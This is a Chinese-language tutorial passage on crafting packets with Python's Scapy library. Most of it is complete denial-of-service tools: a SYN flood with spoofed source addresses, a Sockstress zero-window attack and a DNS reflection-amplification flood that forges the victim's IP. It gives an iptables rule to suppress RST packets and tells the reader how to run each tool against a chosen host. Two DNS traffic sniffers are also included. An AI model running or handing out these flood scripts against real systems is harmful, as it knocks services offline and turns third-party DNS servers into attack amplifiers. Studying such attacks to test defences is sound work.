Python 使用Scapy构造特殊数据包
Scapy是一款Python库,可用于构建、发送、接收和解析网络数据包。除了实现端口扫描外,它还可以用于实现各种网络安全工具,例如SynFlood
攻击,Sockstress
攻击,DNS
查询攻击,ARP
攻击,ARP
中间人等。这些工具都是基于构造、发送和解析网络数据包来实现的,可以用于模拟各种网络攻击,测试网络安全防御措施等。Scapy是网络安全领域中非常有用的工具之一。
21.4.1 SynFlood
Syn-Flood(Syn洪水攻击)是一种常见的DoS
拒绝服务攻击方式,也被称为TCP Syn-Flood
攻击。攻击者利用TCP
连接建立过程中的漏洞,向目标主机发送大量的TCP
连接请求(SYN
),目标主机在收到这些请求后会回复一个SYN/ACK
确认请求,但是攻击者并不回复ACK
确认,使得目标主机在等待ACK
确认的过程中,消耗大量的系统资源和带宽,从而导致目标主机无法正常处理合法的连接请求,使得正常用户无法访问该服务。
默认情况下每一种系统的并发连接都是有限制的,如果恶意攻击持续进行,将会耗尽系统有限的连接池资源。在Windows
系统下这个半开连接数是10
个,具体来说攻击者可以通过伪造地址对服务器发起SYN
请求,服务器就会回应SYN+ACK
此时攻击者的主机如果拒绝发送RST+ACK
标志,那么服务器接收不到RST
请求,就会认为客户端还没有准备好,会重试3-5
次并且等待一个SYN Time
超时(一般30秒-2分钟)后,丢弃这个连接,虽然有丢包的功能,但是如果攻击者的攻击速度大于目标主机的丢包速度,那么TCP
连接池将被填满,此时正常用户将会无法连接到程序中而导致拒绝服务。
由于在发送SYN
报文后我们不希望接收到目标主机回复给我们的RST
标志,所以需要执行如下这条防火墙命令,将发送到被害IP的RST
包丢弃,这样就可以构造出一个非完全TCP链接,也正是我们想要的效果。
iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 被害主机IP地址 -j DROP
接着就是完整的攻击代码,这段代码需要在Linux
系统下运行,在运行之前需要指定iface
网卡接口,当指定后即可调用攻击代码代码片段实现发包。
#coding=utf-8
import argparse
import socket,sys,random,threading
from scapy.all import *
scapy.config.conf.iface = 'ens32'
# 攻击目标主机TCP/IP半开放连接数
def synflood(target,dstport):
# 加锁
semaphore.acquire()
issrc = '%i.%i.%i.%i' % (random.randint(1,254),random.randint(1,254),random.randint(1,254), random.randint(1,254))
isport = random.randint(1,65535)
ip = IP(src = issrc,dst = target)
syn = TCP(sport = isport, dport = dstport, flags = 'S')
send(ip / syn, verbose = 0)
print("[+] sendp --> {} {}".format(target,isport))
# 释放锁
semaphore.release()
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-H","--host",dest="host",type=str,help="输入被攻击主机IP地址")
parser.add_argument("-p","--port",dest="port",type=int,help="输入被攻击主机端口")
parser.add_argument("--type",dest="types",type=str,help="指定攻击的载荷 (synflood)")
parser.add_argument("-t","--thread",dest="thread",type=int,help="指定攻击并发线程数")
args = parser.parse_args()
# 使用方式: main.py --type=synflood -H 192.168.1.1 -p 80 -t 10
if args.types == "synflood" and args.host and args.port and args.thread:
semaphore = threading.Semaphore(args.thread)
while True:
t = threading.Thread(target=synflood,args=(args.host,args.port))
t.start()
else:
parser.print_help()
读者可自行运行上述代码,通过传入--type=synflood -H 192.168.1.1 -p 80 -t 10
参数,其含义是对192.168.1.1
主机的80
端口执行洪水攻击,并启用10
个线程执行,输出效果图如下所示;
21.4.2 SockStress
SockStress 全连接攻击属于TCP
全连接攻击,其攻击的原理与SYN Flood
攻击类似,但是它使用完整的TCP三次握手,这使得它更难以检测和防御。该攻击的关键点就在于,攻击主机将windows
窗口缓冲设置为0
实现拒绝服务。攻击者向目标发送一个很小的流量,但是会造成产生的攻击流量是一个巨大的,该攻击消耗的是目标系统的CPU/内存
资源,使用低配版的电脑,依然可以让庞大的服务器拒绝服务,也称之为放大攻击。
该攻击方式通过与目标主机建立大量的socket
连接,并且都是完整连接,最后的ACK
包,将Window
窗口大小设置为0
,客户端不接收数据,而服务器此时会认为客户端缓冲区还没有准备好,从而一直等待下去(持续等待将使目标机器内存一直被占用),由于是异步攻击,所以单机模式也可以拒绝高配的服务器。
#coding=utf-8
import argparse
import socket,sys,random,threading
from scapy.all import *
scapy.config.conf.iface = 'ens32'
# 攻击目标主机的Window窗口
def sockstress(target,dstport):
# 加锁
semaphore.acquire()
isport = random.randint(0,65535)
response = sr1(IP(dst=target)/TCP(sport=isport,dport=dstport,flags="S"),timeout=1,verbose=0)
send(IP(dst=target)/ TCP(dport=dstport,sport=isport,window=0,flags="A",ack=(response[TCP].seq +1))/'\x00\x00',verbose=0)
print("[+] sendp --> {} {}".format(target,isport))
# 释放锁
semaphore.release()
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-H","--host",dest="host",type=str,help="输入被攻击主机IP地址")
parser.add_argument("-p","--port",dest="port",type=int,help="输入被攻击主机端口")
parser.add_argument("--type",dest="types",type=str,help="指定攻击的载荷 (sockstress)")
parser.add_argument("-t","--thread",dest="thread",type=int,help="指定攻击并发线程数")
args = parser.parse_args()
# 使用方式: main.py --type=sockstress -H 192.168.1.1 -p 80 -t 10
if args.types == "sockstress" and args.host and args.port and args.thread:
semaphore = threading.Semaphore(args.thread)
while True:
t = threading.Thread(target=sockstress,args=(args.host,args.port))
t.start()
else:
parser.print_help()
这段代码的使用方法与SynFlood
攻击保持一致,通过指定--type=sockstress -H 192.168.1.1 -p 80 -t 100
即可实现对特定主机特定端口的拒绝服务,输出效果如下图所示;
21.4.3 DNSSelect
DNS查询放大攻击是一种利用域名系统(DNS)服务器的缺陷来放大攻击流量的网络攻击。攻击者通过向具有恶意域名的DNS
服务器发送DNS
查询请求,该服务器会向被攻击者发送响应,但是响应内容比请求更大。攻击者可以利用这种响应的放大效应,将大量流量发送到被攻击者的系统上,从而导致系统资源的耗尽和服务不可用。
该攻击可以通过欺骗和利用DNS
协议的特性进行,通常利用UDP
端口53
来执行。攻击者会伪造一个源IP
地址,向DNS
服务器发送一个查询请求,请求的数据包比较小,但是响应的数据包比请求的数据包大很多,这就导致了放大的效果。
DNS是域名系统(Domain Name System)的缩写,是一个用于将域名转换为IP
地址的分布式数据库系统。在进行DNS
查询时,客户端会向DNS
服务器发送DNS
查询请求(DNS Query,DNSQR
)包,DNS服务器则会回应DNS
响应(DNS Response,DNSRR
)包。
一个DNSQR包含以下重要的字段:
- 问题域名(QNAME):需要进行查询的域名
- 查询类型(QTYPE):查询的类型,例如A记录、AAAA记录、CNAME记录等
- 查询类(QCLASS):查询的类别,通常为Internet(IN)
一个DNSRR包含以下重要的字段:
- 资源记录名称(RR NAME):资源记录的名称
- 资源记录类型(TYPE):资源记录的类型,例如A记录、AAAA记录、CNAME记录等
- 资源记录类(CLASS):资源记录的类别,通常为Internet(IN)
- 生存时间(TTL):资源记录在DNS缓存中的生存时间
- 数据长度(RDLENGTH):资源记录的数据长度
- 资源记录数据(RDATA):资源记录的数据,例如IPv4地址、IPv6地址、域名等
我们首先使用Scapy
库解析DNSRR
数据包,DNSRR是DNS
协议中的一种资源记录(Resource Record),用于表示DNS
服务器返回的回答记录。其格式包括了Name(域名)、Type(资源记录类型)、Class(资源记录类别)、TTL(生存时间)、RDLENGTH(数据长度)、RDATA(数据)。
在DNS
响应中,通常会有多个DNSRR
记录,每个记录包含一个域名对应的IP
地址或其他资源信息。例如,一个A记录的DNSRR
会包含一个域名和一个IPv4
地址。而MX
记录的DNSRR
则会包含一个域名和一个邮件服务器的优先级和地址,如下代码实现了分别提取出含有查询的域名和对应的IP
的rrname
和rdata
变量,并将这些数据输出到屏幕。
#coding=utf-8
from scapy.all import *
from IPy import IP as PYIP
# 检查数据包的IP层,提取出IP和TTL字段的值
def Get_TTL(pkt):
try:
if pkt.haslayer(IP):
ip_src = pkt.getlayer(IP).src
ip_sport = pkt.getlayer(IP).sport
ip_dst = pkt.getlayer(IP).dst
ip_dport = pkt.getlayer(IP).dport
ip_ttl = str(pkt.ttl)
print("[+] 源地址: %15s:%-5s --> 目标地址: %15s:%-5s --> TTL: %-5s"%(ip_src,ip_sport,ip_dst,ip_dport,ip_ttl))
except Exception:
pass
# 获取本机发送出去的DNS请求所对应的网站地址
def GetDNSRR(pkt):
if pkt.haslayer(DNSRR):
rrname = pkt.getlayer(DNSRR).rrname
rdata = pkt.getlayer(DNSRR).rdata
ttl = pkt.getlayer(DNSRR).ttl
print("[+] 域名: {} --> 别名: {} --> TTL: {}".format(rrname,rdata,ttl))
if __name__=="__main__":
sniff(prn=GetDNSRR,store=0)
读者可自行运行上述代码,此时当有DNS查询时,则会自动解析出对应的别名以及该主机的TTL值,如下图所示;
接着我们来解析一下DNSQR
,DNSQR是DNS
查询请求的部分,用于DNS
协议的域名解析。DNSQR包含以下字段:
- qname:表示查询的域名,例如www.lyshark.com
- qtype:表示查询类型,通常为A记录、CNAME记录、MX记录等
- qclass:表示查询类别,通常为IN(Internet)
DNSQR记录通常包含在DNS
消息中的请求部分中,请求部分也可以包含多个DNSQR
记录,每个记录对应一个查询,解析此类数据同样很容易实现,具体代码如下所示;
#coding=utf-8
from scapy.all import *
from IPy import IP as PYIP
# 获取本机发送出去的网址请求解析为IP URL --> IP
def GetDNSQR(pkt):
# 判断是否含有DNSRR且存在UDP端口53
if pkt.haslayer(DNSRR) and pkt.getlayer(UDP).sport == 53:
rcode = pkt.getlayer(DNS).rcode
qname = pkt.getlayer(DNSQR).qname
# 若rcode为3,则表示该域名不存在
if rcode == 3:
print("[-] 域名解析不存在")
else:
print("[+] 解析存在:" + str(qname))
if __name__=="__main__":
sniff(prn=GetDNSQR,store=0)
读者可运行上述代码,此时即可输出当前系统内访问过的链接,输出效果如下图所示;
接着我们就来实现查询放大攻击,查询放大攻击的原理是,通过网络中存在的DNS
服务器资源,对目标主机发起拒绝服务攻击,通过伪造源地址为被攻击目标的地址,向DNS
递归服务器发起查询请求,此时由于源IP
是伪造的,固在DNS
服务器回包的时候,会默认回给伪造的IP
地址,从而使DNS
服务成为了流量放大和攻击的实施者,通过查询大量的DNS
服务器,从而实现反弹大量的查询流量,导致目标主机查询带宽被塞满,实现DDOS
的目的。
查询放大攻击的实施依赖于海量的DNS服务器资源,所以在执行攻击时需要自行寻找这些服务器资源,当找到后则可存储到文件内,当需要使用时首先调用Inspect_DNS_Usability
函数依次验证DNS服务器的可用性,并将可用的地址保存为pass.log
文件,当需要发起攻击时可通过DNS_Flood
调用并传入合法的DNS服务器地址实现DNS查询。
import os,sys,threading,time
from scapy.all import *
import argparse
def Inspect_DNS_Usability(filename):
proxy_list = []
fp = open(filename,"r")
for i in fp.readlines():
try:
addr = i.replace("\n","")
respon = sr1(IP(dst=addr)/UDP()/DNS(rd=1,qd=DNSQR(qname="www.baidu.com")),timeout=2)
if respon != "":
proxy_list.append(str(respon["IP"].src))
except Exception:
pass
return proxy_list
def DNS_Flood(target,dns):
# 构造IP数据包
ip_pack = IP()
ip_pack.src = target
ip_pack.dst = dns
# ip_pack.src = "192.168.1.2"
# ip_pack.dst = "8.8.8.8"
# 构造UDP数据包
udp_pack = UDP()
udp_pack.sport = 53
udp_pack.dport = 53
# 构造DNS数据包
dns_pack = DNS()
dns_pack.rd = 1
dns_pack.qdcount = 1
# 构造DNSQR解析
dnsqr_pack = DNSQR()
dnsqr_pack.qname = "baidu.com"
dnsqr_pack.qtype = 255
dns_pack.qd = dnsqr_pack
respon = (ip_pack/udp_pack/dns_pack)
sr1(respon)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("--mode",dest="mode",help="选择执行命令<check=检查DNS可用性/flood=攻击>")
parser.add_argument("-f","--file",dest="file",help="指定一个DNS字典,里面存储DNSIP地址")
parser.add_argument("-t",dest="target",help="输入需要攻击的IP地址")
args = parser.parse_args()
# 使用方式: main.py --mode=check -f xxx.log
if args.mode == "check" and args.file:
proxy = Inspect_DNS_Usability(args.file)
fp = open("pass.log","w+")
for item in proxy:
fp.write(item + "\n")
fp.close()
print("[+] DNS地址检查完毕,当前可用DNS保存为 pass.log")
# 使用方式: main.py --mode=flood -f xxx.log -t 192.168.1.1
elif args.mode == "flood" and args.target and args.file:
with open(args.file,"r") as fp:
countent = [line.rstrip("\n") for line in fp]
while True:
randomDNS = str(random.sample(countent,1)[0])
print("[+] 目标主机: {} -----> 随机DNS: {}".format(args.target,randomDNS))
t = threading.Thread(target=DNS_Flood,args=(args.target,randomDNS,))
t.start()
else:
parser.print_help()
读者可保存这段代码,并自行准备一些DNS服务器地址,放入到dns.log
目录下,通过执行如下所示的命令即可依次验证服务器地址可用性,如果可用则自动保存到pass.log
文件内,输出效果如下所示;
当需要对特定主机发起攻击时,可执行如下命令,其中-t
带指的则是需要攻击的IP地址,输出效果图如下所示;
Python 使用Scapy构造特殊数据包的更多相关文章
- 用Golang自己构造ICMP数据包
ICMP是用来对网络状况进行反馈的协议,可以用来侦测网络状态或检测网路错误. 限于当前Golang在网络编程方面的代码稀缺,资料甚少,所以分享一个用Golang来构造ICMP数据包并发送ping程序的 ...
- scapy基础-网络数据包结构
网络层次模型,数据包的组成是学习scapy的基础,下文主要关注模型中各个层次的用途,ethernet II和ip包数据结构. 1.五层模型简介 名称 作用 包含协议 应用层 面向程序对程序的传输 ...
- 【转】scapy 构造以太网注入帧
1. 描述 使用scapy进行以太网帧的注入,相对于RAW_SOCKET还是比较简单的.在讲述packet注入之前,先了解一下scapy伪造以太网帧的相关知识.下图为以太网帧格式和scapy对应的封装 ...
- ARP数据包伪造
一台网络中的计算机,其传递到网络中的数据包的内容是完全由其软硬件逻辑决定的,软件可以操控硬件,硬件亦是一种特殊的软件,所以,接收者只根据数据包的内容,绝不可能判定此数据包的真正来源,一切都是可以伪 ...
- python通过scapy编写arp扫描器
多网卡的情况下发送二层包需要配置网卡 三层包不需要配置接口发包方法: sr() 发送三层数据包,等待接收一个或者多个数据包的响应 sr1() 发送三层数据包,只会接收一个数据包的响应 srp() 发送 ...
- netfilter的钩子——数据包在内核态得捕获、修改和转发
转发:http://blog.csdn.net/stonesharp/article/details/27091391 数据包在内核态得捕获.修改和转发(基于 netfilter) 忙活了好几天 ...
- Windows下底层数据包发送实战
1.简介 所谓“底层数据包”指的是在“运行”于数据链路层的数据包,简单的说就是“以太网帧”,而我们常用的Socket只能发送“运行”在传输层的TCP.UDP等包,这些传输层数据包已经能满足绝大部分需求 ...
- python利用scapy嗅探流量
能实时监测流量, 只显示有问题的流量, 可疑流量要显示出在那个数据包里 所有流量都保存到为pcap 每5000个包保存一个 第3个自动下载到本地 def sniff(count=0, st ...
- python数据包之利器scapy用法!
scapy介绍: 在python中可以通过scapy这个库轻松实现构造数据包.发送数据包.分析数据包,为网络编程之利器! scapy安装: pip install scapy ======> ...
- scapy构造打印ARP数据包
ARP格式: 用于以太网的ARP请求/应答分组格式 各字段含义: 帧类型:表示数据部分用什么协议封装(0800表示IP,0806表示ARP,8035表示RARP). 硬件类型:表示硬件地址的类型(其中 ...
随机推荐
- NOKOV度量光学动作捕捉系统工作流程
如果你对影视.动画或者游戏有一定关注,相信你一定听说过"动作捕捉".事实上,无论是屏幕中的战场,还是真实的军事领域,从2K游戏中的虚拟球员,到医疗.康复.运动领域的专业研究:从机器 ...
- OLAP引擎也能实现高性能向量检索,据说QPS高于milvus!
更多技术交流.求职机会,欢迎关注字节跳动数据平台微信公众号,回复[1]进入官方交流群 随着LLM技术应用及落地,数据库需要提高向量分析以及AI支持能力,向量数据库及向量检索等能力"异军突起& ...
- 【申请教程】ChatGPT访问互联网插件
https://openai.com/blog/chatgpt-plugins 大家好,我是章北海mlpy 申请ChatGPT插件很久了,一直没下文 最近看到两种套路,我早上试了一下,看能否快速成功吧 ...
- 【每日一题】32. 比赛 (DFS / 概率DP)
补题链接:Here [方案一:DFS] 首先我们可以计算出每道题做不出来的概率 \(unsolve[i] = (1 - a[i])(1- b[i])(1 - c[i])\) 然后因为只有 12 道题, ...
- 深入剖析 RSA 密钥原理及实践
一.前言 在经历了人生的很多至暗时刻后,你读到了这篇文章,你会后悔甚至愤怒:为什么你没有早点写出这篇文章?! 你的至暗时刻包括: 1.你所在的项目需要对接银行,对方需要你提供一个加密证书.你手上只有一 ...
- RSAC创新沙盒十强出炉,这家SCA公司火了
引言 近日,全球网络安全行业创新风向标RSAC创新沙盒公布了本年度入围十强的名单,软件供应链安全企业Endor Labs凭借基于依赖关系建立应用开发生命周期的解决方案获得了广泛关注. Endor La ...
- python global函数的使用
1.在全局变量与局部变量均存在时自定义的函数优先使用局部变量,自定义函数并不能改变全局变量的值. 查看运行结果: 2.在没有局部变量时,使用全局变量,且函数内部不能改变全局变量的值 查看运行结果: ...
- Linux-用户组-groupad-groupdel-usermod
- GB18030-2022 标准学习
GB18030-2022 标准学习 下载 https://openstd.samr.gov.cn/bzgk/gb/newGbInfo?hcno=A1931A578FE14957104988029B08 ...
- [转帖]快速定位MySQL数据库当前消耗CPU最高的sql语句
概述 One of our customers recently asked whether it is possible to identify, from the MySQL side, the ...